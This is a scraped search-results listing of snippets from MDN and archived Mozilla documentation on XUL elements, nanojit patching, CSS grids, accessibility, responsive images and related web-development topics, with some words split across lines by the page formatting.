In-Depth - Archive of obsolete content
- top, right, bottom, left. adding an image to the right of a toolbar this tutorial is done with mozilla 1.2 in mind. the layout of files can and probably will change over time, but the basics should remain the same. by default, mozilla 1.2 doesn't support images on the right hand side of the toolbars, but that can be changed with some xbl hacking. place this xml file in \classic\skin\classic\co
mmunicator\toolbar\toolbarbindings.xml (you will need to create the sub directory). what this file does, is it takes the standard toolbar that is used in mozilla and adds an image to the one side of it. if you look at the modern skin, you'll notice that it adds the image to the other side of the toolbar. now that we have the code that will change the toolbar, it needs to be accessed. open up \classi...
...toolbarbindings.xml (you will need to create the sub directory). what this file does, is it takes the standard toolbar that is used in mozilla and adds an image to the one side of it. if you look at the modern skin, you'll notice that it adds the image to the other side of the toolbar. now that we have the code that will change the toolbar, it needs to be accessed. ...
...gs.xml (you will need to create the sub directory). what this file does, is it takes the standard toolbar that is used in mozilla and adds an image to the one side of it. if you look at the modern skin, you'll notice that it adds the image to the other side of the toolbar. now that we have the code that will change the toolbar, it needs to be accessed. ...
...And 3 more matches
How to Write and Land Nanojit Patches - Archive of obsolete content
separate copies of nanojit, but this was a maintenance headache so they were merged. the first version of this document was written just after that merge occurred.) resources nanojit development now takes place on a single shared repository nanojit-central. repository: http://hg.mozilla.org/projects/nanojit-central (or clone ssh://hg.mozilla.org/projects/nanojit-central if you want to actually co
mmit changes) tinderbox: http://tinderbox.mozilla.org/showbuilds.cgi?tree=nanojit co
mmit log: http://hg.mozilla.org/projects/nanojit-central/shortlog/ irc channel: irc.mozilla.org #nanojit procedure the first thing to understand is that there are now three copies of nanojit in public mozilla.com repositories: one in nanojit-central, one in tracemonkey, one in tamarin-redux. we land patches initial...
...andings on tracemonkey and tamarin-redux. these follow-up landings on tracemonkey and tamarin-redux will overwrite any changes made to nanojit in tracemonkey and tamarin-redux! so, do not land nanojit changes directly to the tracemonkey and tamarin-redux repositories! the following files in tracemonkey are from nanojit: everything in js/src/nanojit/ everything in js/src/vprof/ scenario 0: a co
mmon prefix for all scenarios make private clones of all three repositories: nanojit-central, tracemonkey and tamarin-redux. here's how to clone and build nanojit-central: $ hg clone ssh://hg.mozilla.org/projects/nanojit-central $ cd nanojit-central $ autoconf $ mkdir build $ cd build $ ../configure $ make $ make check learn and setup automated testing for all three repositories. write a script ...
...uld only be done by a member of that public repo.] once it passes testing, file the patch to bugzilla (file a bug under the "nanojit" component in the "core" product) and get a review. generally, patches by mozilla people should be reviewed by adobe people and vice versa. once it passes review, land it on nanojit-central, mark the bug's whiteboard as fixed-in-nanojit, and note the revision in a co
mment. (note that nanojit-central revision urls have the form http://hg.mozilla.org/projects/nanojit-central/<revid>, ie. there is a projects/ subdir in there. you might find it easier to just cut-and-paste links from the co
mmit log.) you're done, but watch the nanojit tinderbox for breakage. scenario 2: creating an external patch write and test the patch, as in scenario 1 above. split the patch ...
...And 3 more matches
Elements - Archive of obsolete content
is a document-unique identifier. includes - the includes attribute can be used to indicate that only certain content should be placed at the insertion point specified by the children element. its value can be a tag name or multiple tag names separated by the pipe character ("|"). a child can only be placed within the insertion point if it is matched by the value in the includes attribute. ...
...ttribute. only i
mmediate children are matched against the selector. for example, an xml fragment <customelement><foobar><hoge/></foobar></customelement> with an binding definition <binding id="customelement"><content><xul:box><children includes="hoge"/></xul:box></content></binding> for the customelement element, <xul:box/> becomes empty because the selector includes="hoge" doesn't match for the i
mmediate child foobar element. implementation <!entity % implementation-content "(method|property)*"> <!element implementation %implementation-content;> <!attlist implementation id id #implied name cdata #implied implements cdata #implied > the implementation element describes the set of methods and properties that are attached to...
...ascript the value of this attribute represents the name of the corresponding class that is constructed for the implementation. if no name attribute is specified then the binding's document uri and id are used to uniquely reference the binding's implementation. implements - the implements attribute can be used to describe the set of interfaces that are implemented by the binding. its value is a co
mma-separated list of named interfaces. if supported, in strongly typed languages the bound element can be referenced not only as any of the interfaces that the element might already support (e.g., htmlelement) but also as any of the interfaces described by this attribute. support of this capability is optional. constructor the code inside the constructor is called when a binding has just been at...
...And 3 more matches
OpenClose - Archive of obsolete content
has an open property which may be set to true to open the menu, or false to close the menu. a simple example: somemenu.open = true; this single line of code will open a menu referenced by the variable 'somemenu'. note that the open property applies to the menu or button, not to the menupopup. here is a complete example which uses a button to open a menu: <button label="open menu" onco
mmand="document.getelementbyid('editmenu').open = true;"/> <menu id="editmenu" label="edit"> <menupopup> <menuitem label="cut"/> <menuitem label="copy"/> <menuitem label="paste"/> </menupopup> </menu> this technique may be used for both menupopups that use the menu tag, the button tag and the toolbarbutton tag. for menupopups attached to other elements using the popup or context a...
..."/> <menuitem label="paste"/> </menupopup> </menu> this technique may be used for both menupopups that use the menu tag, the button tag and the toolbarbutton tag. for menupopups attached to other elements using the popup or context attributes, see opening a popup below. as with other ways of opening a menu, the popupshowing event will be fired to provide an opportunity to customize the co
mmands that appear on the menu. there are several situations when opening a menu is not allowed. these are: if the menu is already open, or already in the process of being opened. naturally, attempting to open a menu that is already open doesn't have any effect. if the menu is a child of another menu and the parent menu is not open. in this case, the parent menu must be opened first. if you do ...
...n example of how to do this. a menu in an unprivileged content window (such as a web page) can only open a popup while its window is focused, and it is in the currently active tab. that means that a document in a background tab cannot open a menu or popup. closing menus menus will close automatically once the user has made a selection from the menu. when an menu item is selected, it fires a co
mmand event so that code may be used to perform an action. the user may cancel selecting a co
mmand from a menu by pressing the escape key. this will close a single menu, but if this menu has a parent menu, the parent menu will remain open. a user may also cancel selecting from a menu by clicking outside the menu. in this case, not only will that menu close, but all parent menus will close as well. ...
...And 3 more matches
Adding Methods to XBL-defined Elements - Archive of obsolete content
can pass 'this' as the parameter to getanonymousnodes(). the next example can be used to create text with a label. the method 'showtitle' can be used to show or hide the label. it works by getting a reference to the title element using the anonymous array and changing the visibility of it. ...
...used to create text with a label. the method 'showtitle' can be used to show or hide the label. it works by getting a reference to the title element using the anonymous array and changing the visibility of it. ...
...each calls the 'showtitle' method. this method checks to see whether the element is being hidden or shown from the 'state' parameter that is passed in. in either case, it grabs the first element of the anonymous array. this refers to the first child in the content element, which here is the first label widget. the visibility is cha...
...And 3 more matches
checkbox - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] an element that can be turned on and off. this is most co
mmonly rendered as a box when the element is off and a box with a check when the element is on. the user can switch the state of the check box by selecting it with the mouse. a label, specified with the label attribute, may be added beside the check box. more information is available in the xul tutorial. ...
...n element that can be turned on and off. this is most co
mmonly rendered as a box when the element is off and a box with a check when the element is on. the user can switch the state of the check box by selecting it with the mouse. a label, specified with the label attribute, may be added beside the check box. more information is available in the xul tutorial. attributes accesskey, checked, co
mmand, crop, disabled, src, label, preference, tabindex properties accesskey, accessibletype, checked, co
mmand, crop, disabled, src, label, tabindex examples <checkbox label="enable javascript" checked="true"/> <checkbox label="enable java" checked="false"/> attributes accesskey type: character this should be set to a character that is used as a shortcut key. this should be o...
...as a shortcut key. this should be one of the characters that appears in the label attribute for the element. checked type: boolean indicates whether the element is checked or not. use hasattribute() to determine whether this attribute is set instead of getattribute(). for buttons, the type attribute must be set to checkbox or radio for this attribute to have any effect. co
mmand type: id set to the id of a co
mmand element that is being observed by the element. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reverse...
...And 3 more matches
menu - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] an element, much like a button, that is placed on a menubar. when the user clicks the menu element, the child menupopup of the menu will be displayed. this element is also used to create submenus. more information is available in the xul tutorial. ...
..., that is placed on a menubar. when the user clicks the menu element, the child menupopup of the menu will be displayed. this element is also used to create submenus. more information is available in the xul tutorial. ...
...if this value is set, it overrides an assigned key set in the key attribute. this attribute does not apply to menus directly on the menubar. accesskey type: character this should be set to a character that is used as a shortcut key. this should be one of the characters that appears in the label attribute for the element. allowevents type: boolean if true, events are...
...And 3 more matches
tab - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a single tab which should be placed inside a tabs element. the user may click a tab to bring the associated page of the tabbox to the front. more information is available in the xul tutorial. attributes accesskey, afterselected, beforeselected, co
mmand, crop, disabled, first-tab, image, label, last-tab, linkedpanel, onco
mmand, pending, pinned, selected, tabindex, unread, validate, value properties accesskey, accessibletype, co
mmand, control, crop, disabled, image, label, linkedpanel, selected, tabindex, value examples (example needed) attributes accesskey type: character this should be set to a character that is used as a shortcut key. this should be one of the charac...
...co
mmand, control, crop, disabled, image, label, linkedpanel, selected, tabindex, value examples (example needed) attributes accesskey type: character this should be set to a character that is used as a shortcut key. this should be one of the characters that appears in the label attribute for the element. afterselected type: boolean this is set to true if the tab is i
mmediately after the currently selected tab. this is automatically set when needed and you shouldn't adjust it manually. this is primarily useful for themes so that they can adjust the appearance of the area around the selected tab. beforeselected type: boolean this is set to true if the tab is i
mmediately before the currently selected tab. this is set automatically set when needed and you ...
...ule when you want to use the value none: menupopup > menuitem, menupopup > menu { max-width: none; } disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to ...
...And 3 more matches
2006-10-20 - Archive of obsolete content
on october 18th marcus responded to his original post and expanded on the original content of his question. marcus claims that when he builds firefox using centos he encounters crashes (segmentation faults) under linux distributions such as gentoo, suse and fedora. he also points out that when he performs a local build any of those platforms (gentoo, suse and fedora) he doesn't encounter any problems on the same machine. ...
...lems on the same machine. adding extension to extensions/ folder originally posted on oct 19th: christopher finke is currently learning how to compile firefox. though he has succeeded in building firefox he has so far failed to compile firefox with his own extensions of choice so that his custom build would have those extensions enabled in the end product. christopher finke is asking the co
mmunity members for tutorials or any tips on how to get started. on october 20th christopher finke responded to his original post. he stated that he was able to pre-package the extensions that he wanted by following this walkthrough and a little bit of help from this post. christopher would not like to learn how to create a build of firefox with custom extensions and not have those extensions ...
...n achieving his goal. on october 20th benjamin smedberg responded jan vávra's question. benjamin smedberg mentioned in his post that jan vávra needs to add the extension files to the packaging manifest, which is used to create the installer. in jan vávra's case he is modifying the thunderbird installer so he needs to modify "mail/installer/windows/packages-static" announcements deco
mmissioning sparky on friday on october 17th j. paul reed announced that: sparky, the linux performance test machine for the 1.8 branchs, is being deco
mmissioned. he also added that the linux performance test data is now being provided by bl-bldlnx01. paul would like to hear from anyone who is against this decision. he can be contacted via: email: preed@mozilla.com irc: preed on irc.mozilla.org p...
...And 3 more matches
Sunbird Theme Tutorial - Archive of obsolete content
icon and a preview graphic. you normally make these after you have designed the rest of your theme. make an image file 32 by 32 pixels, and save it as <tt>icon.png</tt> in your theme directory. make an image file about 200 by 100 pixels, and save it as <tt>preview.png</tt> in your theme directory. adding other components your theme only modifies the calendar component. ...
...to understand the user interface provided by these other components, unpack the other jar files. ...
...to understand the user interface provided by these other components, unpack the other jar files. ...
...And 3 more matches
Table Reflow Internals - Archive of obsolete content
w of reflow table frames table reflow intro to paginated reflow table paginated reflow review of reflow reflow process starts when an html document starts loading (the frame tree contains only viewport, scroll(s), canvas, html, body). the initial chunk of an xml doc is loaded. the initial chunk of an html doc (or a subsequent chunk of an xml doc) is loaded. the container posts a dirty reflow co
mmand with itself as the target. content is inserted, appended, or deleted through the dom. the container posts a dirty reflow co
mmand with itself as the target. style changes through the dom - javascript, browser change font (ctrl+/-), a preference changes, etc. review of reflow reflow starts with pres shell which reflows the reflow root (usually the viewport frame), which reflows it children,...
...the reflower positions reflowee (if it can) before actually reflowing in case views are involved (e.g. ...
...case of some inline frames) if there is truncation (it can't fit in the space and can't split). this is just a convience mechanism. kinds of reflows initial - reflowee's first reflow must be of this type (reflower's responsibility). resize - reflowee gets a change in available space only. similar to initial, except it can reoccur. incremental - has a reflow path (tree) where each node has a co
mmand with a target frame, reflow co
mmand types are: dirty - something changed inside a target (e.g. it gains, loses children) style changed - a target changed stylisticly (recall, size is a style property) content changed - a target's content changed (e.g. a text run) user defined - currently only used for fixed positioned frames kinds of reflows incremental reflow (continued) reflower not al...
...And 3 more matches
Issues Arising From Arbitrary-Element hover - Archive of obsolete content
this technote explains the source of the problems and how to avoid encountering them. many authors make use of the css2 pseudo-class :hover to style their links. this innovation, first introduced by microsoft® internet explorer and later adopted into the css specification, is very popular for the styling of text links, particularly those that are supposed to look and act like javascript-driven "rollovers." however, advancing css support in browsers has caused some unexpectedly aggressive hovering behavior on some pages. ...
...problem comes when we consider the effects of a "bare" pseudo-class in a selector. for example: :hover {color: red;} this is equivalent to the css2 rule: *:hover {color: red;} ..which translates as "any element that is being hovered should have its foreground colored red." thus, hovering over paragraphs, tables, headings, and any other element in a document will cause text to become red. a co
mmon variant is to use a bare class and hover pseudo-class together, like this: .nav:hover {color: red;} in situations where the only instances of the class value nav are applied to hyperlinks, this will work fine. however, rules of this type are usually seen in conjunction with markup like this: <td class="nav"> <a href="one.html" class="nav">one</a> | <a href="two.html" class="nav">two</a> | <a...
... pseudo-classes to be restricted only to links if the document is rendered in "quirks" mode. in browsers based on the engine found in mozilla 1.3b and later, this quirk is extended to cover selectors that combine a bare class selector with the :hover pseudo-class (see bug 169078 for details). named anchor problems in addition to the effects described previously, there are two other relatively co
mmon effects that authors may not expect. one is easily fixed by validation, but the other is a little more subtle. first, there is the problem of authors who open a named anchor but do not close it. for example: <a name="pagetop"> <h2>my page</h2> without a </a>, this name will effectively enclose the rest of the document. this generally means that the rest of the document will take hover styles...
...And 3 more matches
Game promotion - Game development
a living as an indie dev with zero budget you can still do a lot to let people know about your great new game. promoting the game helps a lot when monetizing it later on too, so it's important to do it correctly. competitions taking part in competitions will not only level up your gamedev skills and let you meet new devs to befriend and learn from — and it will also get you involved in the co
mmunity. if you make a good game for a competition and win some prizes in the process your game will automatically be promoted by the organizers and other attendees. you'll be rich and famous, or so they say. many great games get started as a quick, sloppy demo submitted to a competition. if both the idea and the execution are good enough, you will succeed. plus competitions generally require games...
...do some work on seo to allow people to find your games more easily. you should also blog about everything related to your gamedev activities. write about your development process, nasty bugs you encounter, funny stories, lessons learned, and the ups and downs of being a game developer. continually publishing information about your games will help educate others, increase your reputation in the co
mmunity, and further improve seo. a further option is to publish monthly reports that su
mmarize all your progress — it helps you see what you've accomplished throughout the month and what's still left to do, and it keeps reminding people that your game is coming out soon — building buzz is always good. while you can create your website from scratch, there are also tools that can help make the p...
...r website. presskit() is a press kit builder that helps you create a press page to share with the media. social media your social media presence is very important — follow the right hashtags, make friends, engage in conversations, help other devs in need. honesty is key and you should be authentic, because nobody likes boring press releases or pushy advertisements. when the time comes your co
mmunity will help you spread the word about your shiny little game. you should use at least twitter and facebook and be active on appropriate forums — the most popular one is html5gamedevs.com. share your gamedev news and answer questions, so people will value what you're doing and will know that you're ok. remember to not be too pushy on telling everyone about your games — you're not a walking...
...And 3 more matches
Mutable - MDN Web Docs Glossary: Definitions of Web-related terms
mutable is a type of variable that can be changed. in javascript, only objects and arrays are mutable, not primitive values. (you can make a variable name point to a new value, but the previous value is still held in memory. hence the need for garbage collection.) a mutable object is an object whose state can be modified after it is created. i
mmutables are the objects whose state cannot be changed once the object is created. ...
...script, only objects and arrays are mutable, not primitive values. (you can make a variable name point to a new value, but the previous value is still held in memory. hence the need for garbage collection.) a mutable object is an object whose state can be modified after it is created. i
mmutables are the objects whose state cannot be changed once the object is created. strings and numbers are i
mmutable. ...
...tive values. (you can make a variable name point to a new value, but the previous value is still held in memory. hence the need for garbage collection.) a mutable object is an object whose state can be modified after it is created. i
mmutables are the objects whose state cannot be changed once the object is created. strings and numbers are i
mmutable. lets understand this with an example: var i
mmutablestring = "hello"; // in the above code, a new object with string value is created. ...
...And 3 more matches
MDN Web Docs Glossary: Definitions of Web-related terms
e authority certified challenge-response authentication character character encoding character set chrome cia cipher cipher suite ciphertext class client hints closure cms code splitting codec compile compile time computer progra
mming conditional constant constructor continuous media control flow cookie copyleft cors cors-safelisted request header cors-safelisted response header crawler crlf cross axis cross-site scripting crud cryptanalysis cryptographic hash function ...
... distributed denial of service dmz dns doctype document directive document environment dom (document object model) domain domain name domain sharding dominator dos attack dtls (datagram transport layer security) dtmf (dual-tone multi-frequency signaling) dynamic progra
mming language dynamic typing e ecma ecmascript effective connection type element empty element encapsulation encryption endianness engine entity entity header event exception expando f fallback alignment falsy ...
... gonk google chrome gpl gpu graceful degradation grid grid areas grid axis grid cell grid column grid container grid lines grid row grid tracks guard gutters gzip compression h hash head high-level progra
mming language hmac hoisting host hotlink houdini hpkp hsts html html5 http http header http/2 http/3 https hyperlink hypertext i i18n iana icann ice ide idempotent identifier ...
...And 3 more matches
Mobile accessibility - Learn web development
buttons are accessible on mobiles (i.e., mainly touchscreen), as well as desktops/laptops (mainly mouse/keyboard). user input — make user input requirements as painless as possible on mobile (e.g., in forms, keep typing to a minimum). responsive design — make sure layouts work on mobile, conserve image download sizes, and think about the provision of images for high-resolution screens. su
mmary of screenreader testing on android and ios the most co
mmon mobile platforms have fully functional screen readers. these function in much the same way as desktop screenreaders, except they are largely operated using touch gestures rather than key combinations. let's look at the main two: talkback on android and voiceover on ios. android talkback the talkback screen reader is built into the ...
...one, you need to press the home button (or swipe) as normal. if you have a passcode set, you can select each number by swiping/sliding (as explained above) and then double-tapping to enter each number when you've found the right one. using the rotor when voiceover is turned on, you have a navigation feature called the rotor available to you, which allows you to quickly choose from a number of co
mmon useful options. to use it: twist two fingers around on the screen like you are turning a dial. each option will be read aloud as you twist further around. you can go back and forth to cycle through the options. once you've found the option you want: release your fingers to select it. if it is an option you can iterate the value of (such as volume or speaking rate), you can do a swi...
...y functional examples showing how to implement different control mechanisms at implementing game control mechanisms. responsive design responsive design is the practice of making your layouts and other features of your apps dynamically change depending on factors such as screen size and resolution, so they are usable and accessible to users of different device types. in particular, the most co
mmon problems that need to be addressed for mobile are: suitability of layouts for mobile devices. a multi-column layout won't work as well on a narrow screen, for example, and the text size may need to be increased so it is legible. such issues can be solved by creating a responsive layout using technologies such as media queries, viewport, and flexbox. conserving image sizes downloaded. in gen...
...And 3 more matches
What is accessibility? - Learn web development
ple with blindness, low-level vision, and color blindness. many people with visual impairments use screen magnifiers that are either physical magnifiers or software zoom capabilities. most browsers and operating systems these days have zoom capabilities. some users will rely on screen readers, which is software that reads digital text aloud. some screen reader examples include: some are paid co
mmercial products, like jaws (windows) and dolphin screen reader (windows). some are free products, like nvda (windows), chromevox (chrome, windows and mac os x), and orca (linux). some are built into the operating system, like voiceover (macos, ipados, ios), narrator (microsoft windows), chromevox (on chrome os), and talkback (android). it is a good idea to familiarise yourself with screen read...
...l of us as we age and have difficulty thinking and remembering. the range includes people with mental illnesses, such as depression and schizophrenia. it also includes people with learning disabilities, such as dyslexia and attention deficit hyperactivity disorder. importantly, though there is a lot of diversity within clinical definitions of cognitive impairments, people with them experience a co
mmon set of functional problems. these include difficulty with understanding content, remembering how to complete tasks, and confusion caused by inconsistent webpage layouts. a good foundation of accessibility for people with cognitive impairments includes: delivering content in more than one way, such as by text-to-speech or by video; easily-understood content, such as text written using plain...
...bility guidelines. the w3c’s cognitive and learning disabilities accessibility task force produces web accessibility guidelines for people with cognitive impairments. webaim has a cognitive page of relevant information and resources. the united states centers for disease control estimate that, as of 2018, 1 in 4 u.s. citizens have a disability and, of them, cognitive impairment is the most co
mmon for young people. in the u.s., “intellectual disabilities” is the new term for “mental retardation.” in the u.k., “intellectual disabilities” is co
mmonly “learning disabilities” or “learning difficulties”. implementing accessibility into your project a co
mmon accessibility myth is that accessibility is an expensive "added extra" to implement on a project. this myth actua...
...And 3 more matches
Grids - Learn web development
what is grid layout? a grid is a collection of horizontal and vertical lines creating a pattern against which we can line up our design elements. they help us to create designs where elements don’t jump around or change width as we move from page to page, providing greater consistency on our websites. a grid will typically have columns, rows, and then gaps between each row and column — co
mmonly referred to as gutters. creating your grid in css having decided on the grid that your design needs, you can use css grid layout to create that grid in css and place items onto it. we will look at the basic features of grid layout first and then explore how to create a simple grid system for your project. the following video provides a nice visual explanation of using css grid: defini...
.... we will be working with this file for the first part of this lesson, making changes to see how grid behaves. to define a grid we use the grid value of the display property. as with flexbox, this switches on grid layout, and all of the direct children of the container become grid items. add this to the css inside your file: .container { display: grid; } unlike flexbox, the items will not i
mmediately look any different. declaring display: grid gives you a one column grid, so your items will continue to display one below the other as they do in normal flow. to see something that looks more grid-like, we will need to add some columns to the grid. let's add three 200-pixel columns here. you can use any length unit, or percentages to create these column tracks. .container { display:...
...ellus laoreet sit amet. sed auctor cursus massa at porta. integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. curabitur vehicula tellus neque, ac ornare ex malesuada et. in vitae convallis lacus. aliquam erat volutpat. suspendisse ac imperdiet turpis. aenean finibus sollicitudin eros pharetra congue. duis ornare egestas augue ut luctus. proin blandit quam nec lacus varius co
mmodo et a urna. ut id ornare felis, eget fermentum sapien.</p> <p>nam vulputate diam nec tempor bibendum. donec luctus augue eget malesuada ultrices. phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. nam id risus quis ante semper consectetur eget aliquam lorem. vivamus tristique elit dolor, sed pretium metus suscipit vel. mauris ultricies lectus sed lobortis finibus. vivamu...
...And 3 more matches
CSS FAQ - Learn web development
your html will improve browser standards compliance. modern browsers have two main rendering modes: quirks mode: also called backwards-compatibility mode, allows legacy webpages to be rendered as their authors intended, following the non-standard rendering rules used by older browsers. documents with an incomplete, incorrect, or missing doctype declaration or a known doctype declaration in co
mmon use before 2001 will be rendered in quirks mode. standards mode: the browser attempts to follow the w3c standards strictly. new html pages are expected to be designed for standards-compliant browsers, and as a result, pages with a modern doctype declaration will be rendered with standards mode. gecko-based browsers, have a third almost standards mode that has only a few minor quirks. this i...
... be rendered in quirks mode. standards mode: the browser attempts to follow the w3c standards strictly. new html pages are expected to be designed for standards-compliant browsers, and as a result, pages with a modern doctype declaration will be rendered with standards mode. gecko-based browsers, have a third almost standards mode that has only a few minor quirks. ...
...type declaration will be rendered with standards mode. gecko-based browsers, have a third almost standards mode that has only a few minor quirks. this is a list of the most co
mmonly used doctype declarations that will trigger standards or almost standards mode: <!doctype html> /* this is the html5 doctype. ...
...And 3 more matches
Learn to style HTML using CSS - Learn web development
to alter the font, color, size, and spacing of your content, split it into multiple columns, or add animations and other decorative features. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started prerequisites you should learn the basics of html before attempting any css. ...
...this is because html is far more interesting and much more fun to learn when you apply css, and you can't really learn css without knowing html. ...
...ou should also be familiar with using computers and using the web passively (i.e., just looking at it, consuming the content). you should have a basic work environment set up as detailed in installing basic software and understand how to create and manage files, as detailed in dealing with files — both of which are parts of our getting started with the web complete beginner's module. it is reco
mmended that you work through getting started with the web before proceeding with this topic. however, doing so isn't absolutely necessary as much of what is covered in the css basics article is also covered in our css first steps module, albeit in a lot more detail. modules this topic contains the following modules, in a suggested order for working through them. you should definitely start with t...
...And 3 more matches
What is a web server? - Learn web development
in this article, we explain what web servers are, how web servers work, and why they are important. prerequisites: you should already know how the internet works, and understand the difference between a web page, a web site, a web server, and a search engine. objective: you will learn what a web server is and gain a general understanding of how it works. su
mmary the term web server can refer to hardware or software, or both of them working together. on the hardware side, a web server is a computer that stores web server software and a website's component files. (for example, html documents, images, css stylesheets, and javascript files) a web server connects to the internet and supports physical data interchange with other devices connected to the...
...the requested document, it returns a 404 response instead.) to publish a website, you need either a static or a dynamic web server. a static web server, or stack, consists of a computer (hardware) with an http server (software). we call it "static" because the server sends its hosted files as-is to your browser. a dynamic web server consists of a static web server plus extra software, most co
mmonly an application server and a database. we call it "dynamic" because the application server updates the hosted files before sending content to your browser via the http server. for example, to produce the final webpages you see in the browser, the application server might fill an html template with content from a database. sites like mdn or wikipedia have thousands of webpages. typically, thes...
...ned by a third-party. for all these reasons, finding a good hosting provider is a key part of building your website. examine the various services companies offer. choose one that fits your needs and budget. (services range from free to thousands of dollars per month.) you can find more details in this article. once you have web hosting service, you must upload your files to your web server. co
mmunicating through http second, a web server provides support for http (hypertext transfer protocol). as its name implies, http specifies how to transfer hypertext (linked web documents) between two computers. a protocol is a set of rules for co
mmunication between two computers. http is a textual, stateless protocol. textual all co
mmands are plain-text and human-readable. stateless neither ...
...And 3 more matches
The HTML5 input types - Learn web development
ail"> when this type is used, the user is required to type a valid email address into the field. any other content causes the browser to display an error when the form is submitted. you can see this in action in the below screenshot. you can also use the multiple attribute in combination with the email input type to allow several email addresses to be entered in the same input (separated by co
mmas): <input type="email" id="email" name="email" multiple> on some devices — notably, touch devices with dynamic keyboards like smart phones — a different virtual keypad might be presented that is more suitable for entering email addresses, including the @ key. see the firefox for android keyboard screenshot below for an example: note: you can find examples of the basic text input types ...
...g the user experience for users of these devices. client-side validation as you can see above, email, along with other newer input types, provides built-in client-side error validation — performed by the browser before the data gets sent to the server. it is a helpful aid to guide users to fill out a form accurately, and it can save time — it is useful to know that your data is not correct i
mmediately, rather than having to wait for a round trip to the server. but it should not be considered an exhaustive security measure! your apps should always perform security checks on any form-submitted data on the server-side as well as the client-side, because client-side validation is too easy to turn off, so malicious users can still easily send bad data through to your server. read website s...
... usage-wise, sliders are less accurate than text fields. therefore, they are used to pick a number whose precise value is not necessarily important. a slider is created using the <input> with its type attribute set to the value range. the slider-thumb can be moved via mouse or touch, or with the arrows of the keypad. it's important to properly configure your slider. to that end, it's highly reco
mmended that you set the min, max, and step attributes which set the minimum, maximum and increment values, respectively. let's look at the code behind the above example, so you can see how its done. first of all, the basic html: <label for="price">choose a maximum house price: </label> <input type="range" name="price" id="price" min="50000" max="500000" step="100" value="250000"> <output class="p...
...And 3 more matches
Responsive images - Learn web development
up a lot of the screen height for a mobile device. and at this size, it is difficult to see the people within the first content image. an improvement would be to display a cropped version of the image which displays the important details of the image when the site is viewed on a narrow screen. a second cropped image could be displayed for a medium width screen device, like a tablet. this is co
mmonly known as the art direction problem. in addition, there is no need to embed such large images on the page if it is being viewed on a mobile screen. and conversely, a small raster image starts to look grainy when displayed larger than its original size (a raster image is a set number of pixels wide and a set number of pixels tall, as we saw when we looked at vector graphics). this is called th...
...t="elva-fairy-480w.jpg 480w, elva-fairy-800w.jpg 800w" sizes="(max-width: 600px) 480px, 800px" src="elva-fairy-800w.jpg" alt="elva dressed as a fairy"> the srcset and sizes attributes look complicated, but they're not too hard to understand if you format them as shown above, with a different part of the attribute value on each line. each value contains a co
mma-separated list, and each part of those lists is made up of three sub-parts. let's run through the contents of each now: srcset defines the set of images we will allow the browser to choose between, and what size each image is. each set of image information is separated from the previous one by a co
mma. for each one, we write: an image filename (elva-fairy-480w.jpg) a space the image's intr...
... can be found by inspecting the image file on your computer (for example, on a mac you can select the image in finder and press cmd + i to bring up the info screen). sizes defines a set of media conditions (e.g. screen widths) and indicates what image size would be best to choose, when certain media conditions are true — these are the hints we talked about earlier. in this case, before each co
mma we write: a media condition ((max-width:600px)) — you'll learn more about these in the css topic, but for now let's just say that a media condition describes a possible state that the screen can be in. in this case, we are saying "when the viewport width is 600 pixels or less". a space the width of the slot the image will fill when the media condition is true (480px) note: for the slot...
...And 3 more matches
Video and audio content - Learn web development
are called container formats. they define a structure in which the audio and/or video tracks that make up the media are stored, along with metadata describing the media, what codecs are used to encode its channels, and so forth. a webm file containing a movie which has a main video track and one alternate angle track, plus audio for both english and spanish, in addition to audio for an english co
mmentary track can be conceptualized as shown in the diagram below. also included are text tracks containing closed captions for the feature film, spanish subtitles for the film, and english captions for the co
mmentary. the audio and video tracks within the container hold data in the appropriate format for the codec used to encode that media. different formats are used for audio tracks versus vid...
...plorer. the ogg container tends to use vorbis audio and theora video. this is best supported in firefox and chrome, but has basically been superseded by the better quality webm format. there are some special cases. for example, for some types of audio, a codec's data is often stored without a container, or with a simplified container. one such instance is the flac codec, which is stored most co
mmonly in flac files, which are just raw flac tracks. another such situation is the always-popular mp3 file. an "mp3 file" is actually an mpeg-1 audio layer iii (mp3) audio track stored within an mpeg or mpeg-2 container. this is especially interesting since while most browsers don't support using mpeg media in the <video> and <audio> elements, they may still support mp3 due to its popularity. an ...
...e slightly more complicated because not only does each browser support a different set of container file formats, they also each support a different selection of codecs. in order to maximize the likelihood that your web site or app will work on a user's browser, you may need to provide each media file you use in multiple formats. if your site and the user's browser don't share a media format in co
mmon, your media simply won't play. due to the intricacies of ensuring your app's media is viewable across every combination of browsers, platforms, and devices you wish to reach, choosing the best combination of codecs and container can be a complicated task. see choosing the right container in media container formats (file types) for help selecting the container file format best suited for your n...
...And 3 more matches
Choosing the right approach - Learn web development
previous overview: asynchronous to finish this module off, we'll provide a brief discussion of the different coding techniques and features we've discussed throughout, looking at which one you should use when, with reco
mmendations and reminders of co
mmon pitfalls where appropriate. we'll probably add to this resource as time goes on. prerequisites: basic computer literacy, a reasonable understanding of javascript fundamentals. objective: to be able to make a sound choice of when to use different asynchronous progra
mming techniques. asynchronous callbacks generally found in old-style apis, involves a function being passed into another function as a parameter, which is then invoked when an asynchronous operation has been completed, so that the callback ...
...ort 2.0nodejs full support 0.12legend full support full support no support no supportsee implementation notes.see implementation notes. further information graceful asynchronous progra
mming with promises using promises promise reference promise.all() a javascript feature that allows you to wait for multiple promises to complete before then running a further operation based on the results of all the other promises. useful for... single delayed operation repeating operation multiple sequential operations multiple simultaneous operations no no ...
...bled from version 7.0.0: this feature is behind the --harmony runtime flag.legend full support full support no support no supportuser must explicitly enable this feature.user must explicitly enable this feature. ...
...And 3 more matches
Asynchronous JavaScript - Learn web development
